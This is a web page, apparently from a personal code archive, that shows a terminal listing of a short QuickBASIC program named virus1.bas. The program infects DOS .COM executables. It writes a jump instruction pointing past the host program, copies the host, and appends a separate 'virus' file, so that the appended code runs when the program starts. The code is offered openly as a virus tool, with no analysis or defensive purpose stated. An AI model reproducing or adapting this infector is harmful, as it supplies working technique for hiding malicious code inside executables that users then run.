5748341 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]$ cat -n virus1.bas
   1: DECLARE FUNCTION Dec! (hx$)
   2: DIM dd AS STRING * 1
   3: CLS
   4: PRINT "Use only .COM files!"
   5: INPUT "Input Filename"; f$
   6: INPUT "Output Filename"; of$
   7: INPUT "Virus Filename"; vf$
   8: OPEN f$ FOR BINARY AS #1
   9: OPEN of$ FOR BINARY AS #2
  10: OPEN vf$ FOR BINARY AS #3
  11: oo$ = ""
  12: fs = LOF(1)
  13: mm$ = UCASE$(RTRIM$(LTRIM$(HEX$(fs))))
  14: IF LEN(mm$) = 3 THEN mm$ = "0" + mm$
  15: 'PRINT "FOR q ="; LEN(mm$) - 1; "to 1 Step -2"
  16: FOR q = LEN(mm$) - 1 TO 1 STEP -2
  17: 'PRINT "Reading pos"; q; "to"; q + 1: PRINT MID$(mm$, q, 1); MID$(mm$, q + 1, 1)
  18: IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2
  19: oo$ = oo$ + CHR$(Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1)))
  20: 'PRINT MID$(mm$, q, 1); MID$(mm$, q + 1, 1); q; mm$; Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1))
  21: 2 NEXT q
  22: Hdr$ = "é" + oo$
  23: IF LEN(Hdr$) = 2 THEN Hdr$ = Hdr$ + CHR$(0)
  24: 
  25: FOR e = 1 TO LEN(Hdr$)
  26: ff$ = MID$(Hdr$, e, 1)
  27: PUT #2, , ff$
  28: NEXT e
  29: FOR mm = 1 TO LOF(1)
  30: GET #1, mm, dd
  31: PUT #2, , dd
  32: dd = ""
  33: NEXT mm
  34: dd = ""
  35: FOR m2 = 1 TO LOF(3)
  36: GET #3, m2, dd
  37: PUT #2, , dd
  38: dd = ""
  39: NEXT m2
  40: CLOSE 1, 2, 3
  41: END
  42: 
  43: FUNCTION Dec (hx$)
  44: FOR lq = 0 TO 256
  45: ma$ = HEX$(lq)
  46: IF LEN(ma$) = 1 THEN ma$ = "0" + ma$
  47: IF LEN(ma$) = 3 THEN ma$ = "0" + ma$
  48: IF LEN(ma$) = 5 THEN ma$ = "0" + ma$
  49: IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq
  50: NEXT lq
  51: END FUNCTION
  52: 
5748342 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]$

Click here to go back to the directory listing.
Click here to download this file.
last modified: 2000-05-09 21:10:47